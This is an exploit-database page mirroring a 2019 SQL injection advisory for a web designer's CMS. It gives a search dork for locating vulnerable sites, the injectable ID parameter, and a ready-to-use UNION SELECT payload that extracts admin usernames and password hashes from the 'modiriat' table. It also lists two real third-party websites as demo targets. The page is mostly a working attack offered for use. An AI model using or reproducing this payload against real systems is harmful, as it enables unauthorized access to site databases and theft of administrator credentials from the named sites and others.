Advertisement






Mohammad Ali Abassi(Web designers) IRANIAN CMS SQL injection

CVE Category Price Severity
CWE-89 $500 High
Author Risk Exploitation Type Date
Mohammad Ali Abassi High Remote 2019-05-13
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.85 0.95

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019050137

Below is a copy:

Mohammad Ali Abassi(Web designers) IRANIAN CMS SQL injection
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#
# Exploit Title: Mohammad Ali Abassi(Web designers) IRANIAN CMS SQL injection
# Date: 2019-05-11
# Dork : intext:"Design and developed by : Mohammad Ali Abassi"
# Exploit Author: S I R M A X
# Vendor Homepage: https://www.behance.net/brighttech
# Version: All Version
# Tested on: win,linux
=================================================================================
                                             [SQL injection]     

[+] Method ( Sql injection ) Nullix Security Team of IRan
[+]  parameter  : ID == php?ID=
=================================================================================
Mode Hash : MD5 
=================
[#] Testing Method:

[+] - UNION query

=================================================================================
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Exploit ==> 
id=1 and false /*!50000UNION*/ /*!50000SELECT*/ 1,(SELECT(@x)FROM(SELECT(@x:=0x00)%20,(SELECT(@x)FROM(modiriat)WHERE(@x)IN(@x:=CONCAT(0x20,@x,0x75736572,0x203d3d3e20,shenasa,0x3c62723e,0x70617373,0x203d3d3e20,ramz,0x3c62723e,0x3c62723e))))x),[Number of columns]-- -

<-> #At all sites, Column 2 is 100% vulnerable
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
=================================================================================
Demo:
[+] http://mbn.af/en/more.php?id=[SQL]
[+] http://www.maiwandtv.com/en/program.php?id=[SQL]
=================================================================================
[=] T.me/Sir_Max
[=] Telegram Channel ==> @NullixTM
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.